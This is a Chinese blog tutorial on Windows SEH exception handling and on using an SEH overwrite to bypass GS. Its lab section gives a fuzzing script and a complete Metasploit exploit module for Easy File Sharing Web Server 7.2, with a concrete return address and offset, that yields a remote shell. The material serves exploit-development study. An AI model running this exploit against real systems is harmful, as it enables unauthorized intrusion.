转载自个人博客0pt1mus

0x00 简介

本文主要有两个部分。第一部分介绍windows异常处理机制中的SEH,详细介绍SEH的工作原理。第二部分介绍如何通过栈溢出实现利用SEH来绕过GS。

0x01 SEH(异常处理结构体)

SEH的全称是Structure Exception Handler,翻译为异常处理结构体,它是Windows异常处理机制所采用的的重要数据结构。每个SEH结构体包含两个DWORD指针:SEH链表指针和异常处理函数句柄,共八个字节。如下图:

对SEH的初步理解,我们要了解一下几点:

  1. S.E.H结构体存放在系统栈中。
  2. 当线程初始化时,会自动向栈中安装一个S.E.H,作为线程默认的异常处理。
  3. 如果程序源代码中使用了__try{}__except{}或者Assert宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个S.E.H来实现异常处理。
  4. 栈中一般会同时存在多个S.E.H。
  5. 栈中的多个S.E.H通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表最顶端的S.E.H通过T.E.B(线程环境块)0字节偏移处的指针标识,FS寄存器指向TEB的位置。
  6. 当异常发生时,操作系统会中断程序,并首先从T.E.B的0字节偏移处取出距离栈顶最近的S.E.H,使用异常处理函数句柄所指向的代码来处理异常。
  7. 当离“事故现场”最近的异常处理函数运行失败时,将顺着S.E.H链表依次尝试其他的异常处理函数。
  8. 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

大概了解SEH的工作原理后,发现以下问题:

  1. S.E.H存放在栈内,故溢出缓冲区的数据有可能淹没S.E.H。
  2. 精心制造的溢出数据可以把S.E.H中异常处理函数的入口地址更改为shellcode的起始地址。
  3. 溢出后错误的栈帧或堆块数据往往会触发异常。
  4. 当Windows开始处理溢出后的异常时,会错误地把shellcode当做异常处理函数而执行。

这样,就可以绕过GS这种栈的保护机制,不通过一出道返回地址,而是溢出修改SEH结构的异常处理函数的句柄,从而实现攻击。

注:异常处理机制和堆分配机制一样,会检测进程是否处于调试状态。异常处理在使用回调函数之前,系统会判断当前是否处于调试状态,如果处于调试状态,将把异常交给调试器处理。

0x02 详解SEH工作中的栈空间

上面我们简单介绍了Windows在处理异常时的工作流程,但是我们如果要利用SEH来达到攻击的目的,则还需要知道在异常处理的时候的栈空间的状态。

在程序运行过程中,当触发了异常,程序尝试处理异常的时候,首先系统会执行异常的回调函数。


EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,void * EstablisherFrame,struct _CONTEXT *ContextRecord,void * DispatcherContext);

并在栈中压入一个EXCEPTION_DISPOSITION Handler结构,如下图。

这个时候,esp指向栈顶位置就是这个结构体。这个结构体中包含这从TEB中得到的第一个SEH结构体的位置。这个时候,通过Establisher Frame找到第一个SEH结构体的位置,执行异常处理函数。

注:这一块栈空间的变化可以参考逆向与破解-windows异常处理机制

0x03 利用SEH

我们知道了SEH的工作原理和执行时的栈空间的变化,接下来我们学习如何利用栈溢出,达到利用SEH进行攻击的方法。

基本步骤:

  1. 首先要得到溢出点到SEH结构体的偏移量。
  2. 然后要得到shellcode的起始位置。
  3. 触发异常。

以上步骤是最基本的,在真实的环境中我们还需要考虑其他因素。比如,在第二步中,理论上我们将SEH的后4个字节修改成shellcode的起始地址就可以了,但是如果开启了地址随机化,我们的shellcode的地址就无法准确的找到。所以一般是找未开启SafeSEH保护的pop/pop/ret的代码段,通过这个代码段跳转到shellcode中。为什么要利用PPR代码段,看下面。

0x04 为什么需要PPR来利用SEH

我们分析上面那张栈空间的图可以发现,当触发异常时,此时的esp指向的是EXCEPTION_DISPOSITION Handler,当执行异常处理函数,PPR时,esp向高地址移动8个字节,指向了Establisher Frame,存着第一个SEH的地址,因此执行ret会将eip指向SEH,此时如果SEH的前两个字节为EB06,则会执行jmp指令,向下跳转6个字节,如果下面是一堆nop跟着shellcode,则会顺利滑进shellcode,成功执行。

0x05 实践

实验环境:windows xp、kali

实验软件:Easy File Sharing Web Server 7.2、Immunity Debugger

实验步骤:

  1. 首先先生成一段用于溢出的字符串。

    这里用到的工具是kali下msf自带的一个生成脚本pattern_create.rb。

    msf-pattern_create -l 10000 > 1.txt
    
  2. xp上打开Easy File Sharing Web Server 7.2,并启动服务。用Immunity Debugger调试器attach到EFSWS的进程上,并点击run,使程勋运行中。

  3. 通过脚本将字符串发给xp的80端口。

    import socket
    import syshost = str(sys.argv[1])
    port = int(sys.argv[2])a = socket.socket()print "Connecting to: " + host + ":" + str(port)
    a.connect((host,port))# 这里是上一步生成的1.txt文件的内容
    buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2..."a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")a.close()print "Done..."
    
  4. 打开Immunity Debugger的SEH chain,可发现如下图所示。

    这里面显示的当前的SEH的handler为0x46356646,指向的下一个SEH的地址为0x34664633。因此,我们溢出字符串覆盖的SEH结构体的值为0x3466463346356646。

  5. 查找0x34664633在溢出字符串中的偏移量。这里为什么是前4个字节,因为pattern_offset工具找的是四个字节在pattern中的偏移位置,所以我们只需要知道SEH结构体的前四个字节中的值对应的偏移。

    msf-pattern_offset -q 34664633
    

    执行后,获得偏移量。

  6. 通过Immunity Debugger的mona插件,寻找该程序中可以利用的dll模块。

    !mona modules
    

  1. 找到其中未开启SafeSEH的可利用模块,这里选择第一个ImageLoad.dll,并通过msfbinscan找其中的PPR。

  1. 写exp,并将脚本放入msf的exploit的目录下,以让msf能够找到攻击脚本。

    require 'msf/core'
    class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::Tcpinclude Msf::Exploit::Sehdef initialize(info = {})super(update_info(info,'Name'            => 'Easy File Sharing HTTP Server 7.2 SEH Overflow','Description'     => %q{This Module Demonstrate SEH based overflow example},'Author'          => 'yanhan','Payload'         =>{'Space'       => 390,'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"},'Platform'      => 'Windows','Targets'       =>[['Easy File Sharing 7.2 HTTP',{'Ret'       => 0x100188fc,'Offset'    => 4061}]],'DisclosureDate'  => '2019-01-16',))enddef exploitconnectweapon = "HEAD "weapon << make_nops(target['Offset'])weapon << generate_seh_record(target['Ret'])weapon << make_nops(20)weapon << payload.encodedweapon << " HTTP/1.0\r\n\r\n"sock.put(weapon)handlerdisconnectend
    end

    在脚本中Ret值是我们找到的PPR的地址,Offset是我们找到的溢出点。

  2. msf中运行攻击脚本获得目标xp的meterpreter。

参考自杨老师SEH异常处理机制的栈溢出攻击及shell提取。

0x06 总结

成功之后,思考通过mona找到了很多的dll,其中也有别的没有开SafeSEH,是不是也可以加以利用。实践发现在系统dll文件msasn1.dll中的0x76218422也有PPR可以利用。

攻击windows异常处理机制SEH相关推荐

  1. 逆向与破解-windows异常处理机制

    以前看到过的很棒的一个讲解SEH的,非常的详细和简单易懂,不需要特别纠结具体的结构和处理的方法,初期对过程有一定的掌握就可以.以下为原文 深入解析结构化异常处理(SEH) - by Matt Piet ...

  2. [网络安全自学篇] 五十四.Windows系统安全之基于SEH异常处理机制的栈溢出攻击及防御解析

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了XP和Kali环境搭建,通过Windows漏洞实现栈溢出攻击,通过Me ...

  3. Windows异常世界历险记(五)——VC6中结构化异常处理机制的反汇编分析(下)

    在本系列的上一篇文章Windows异常世界历险记(四)--VC6中结构化异常处理机制的反汇编分析(中)中,给出了针对VC6的异常处理机制进行逆向后得到的伪码.在本文中,我们仍然以之前写的小程序为例,通 ...

  4. Windows内存保护机制及绕过方法

    0 目录 GS编译 SafeSEH机制 SEH覆盖保护 数据执行保护(DEP) 地址随机化(ASLR) 1 GS编译 1.1 基本原理 Windows操作系统为解决栈溢出漏洞的问题引入了一个对策--G ...

  5. C++及Windows异常处理(try,catch; __try,__finally; __try, __except)——一道笔试题引起的探究

    题目: int* p = 0x00000000; // pointer to NULL puts( "hello "); __try{ puts( "in try &qu ...

  6. C++ 异常处理机制的实现

    http://blog.jobbole.com/103925/ 本文深入讨论了VC++编译器异常处理的实现机制.附件源代码包含了一个VC++的异常处理库. 下载源代码 – 19 Kb 介绍 相对于传统 ...

  7. windows 异常处理

    为了程序的健壮性,windows 中提供了异常处理机制,称为结构化异常,异常一般分为硬件异常和软件异常,硬件异常一般是指在执行机器指令时发生的异常,比如试图向一个拥有只读保护的页面写入内容,或者是硬件 ...

  8. 深入理解java异常处理机制

    1. 引子 try-catch-finally恐怕是大家再熟悉不过的语句了,而且感觉用起来也是很简单,逻辑上似乎也是很容易理解.不过,我亲自体验的"教训"告诉我,这个东西可不是想象 ...

  9. java 异常机制_深入理解Java异常处理机制

    一.引子 try-catch-finally恐怕是大家再熟悉不过的语句了,而且感觉用起来也是很简单,逻辑上似乎也是很容易理解.不过,我亲自体验的"教训"告诉我,这个东西可不是想象中 ...

最新文章

  1. 每天一个linux命令(11):nl命令
  2. 洛谷 2953 [USACO09OPEN]牛的数字游戏Cow Digit Game
  3. Android基础---获取手机硬件数据(转)
  4. 20200428总结
  5. Qt Remote Object(QtRO)给指定的客户端发送消息
  6. 关于VS2012连接MySql数据库时无法选择数据源
  7. Visual Studio的未来特性展望
  8. 天天写代码,觉得自己特别苦逼?嗯,还有20年AI就来解放你
  9. 学习Direct3D(五)应用程序入口
  10. Python实现温度转换
  11. 油田生产中的几个“三”
  12. tidyverse —— readr包
  13. 浏览器自动调html5,HTML与浏览器
  14. 鸟哥linux私房菜读后,鸟哥的Linux私房菜读书笔记(1)
  15. 用印审批移动办公用户手册
  16. 服务器虚拟化集群部署
  17. 名表依波路borel_依波路手表排名 依波路手表世界排名第几
  18. 码破苍穹:空指针的传说
  19. Audio Effect
  20. 【codeforces 417D】Cunning Gena

热门文章

  1. LinkedIn怎么创建领英主页?领英怎么拓展人脉?
  2. 全国普通话计算机测试试题及答案,全国普通话测试试题
  3. 棋牌游戏类app下载链接被微信屏蔽拦截的原因及解决办法
  4. Vite+Vue3增加版本号记录(验证线上环境是否已更新到最新版本)
  5. 重磅推出!安全扫码专业委员会数智商盟码上线了!!
  6. 计算机网络管理员工作总结计划
  7. csol永恒python评测_反恐精英Online情报中心 - CSOL - 官方网站 - 世纪天成游戏 - 火爆战场真实体验!...
  8. 作为上帝,不要忘记奖励一下好人
  9. 计算机主机风扇声音大的原因,台式电脑风扇响声大的原因和修复方法
  10. edis学习记录02-redis基础数据类型命令